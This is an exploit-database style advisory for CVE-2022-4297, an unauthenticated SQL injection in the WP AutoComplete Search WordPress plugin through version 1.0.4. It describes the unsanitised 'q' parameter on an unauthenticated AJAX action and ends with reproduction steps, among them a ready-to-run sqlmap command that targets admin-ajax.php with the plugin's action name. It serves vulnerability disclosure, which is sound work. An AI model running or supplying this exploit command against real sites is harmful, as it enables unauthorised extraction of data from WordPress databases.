WP AutoComplete 1.0.4 - Unauthenticated SQLi

# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux

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The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise 
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection

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How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4 
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit 
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000&timestamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q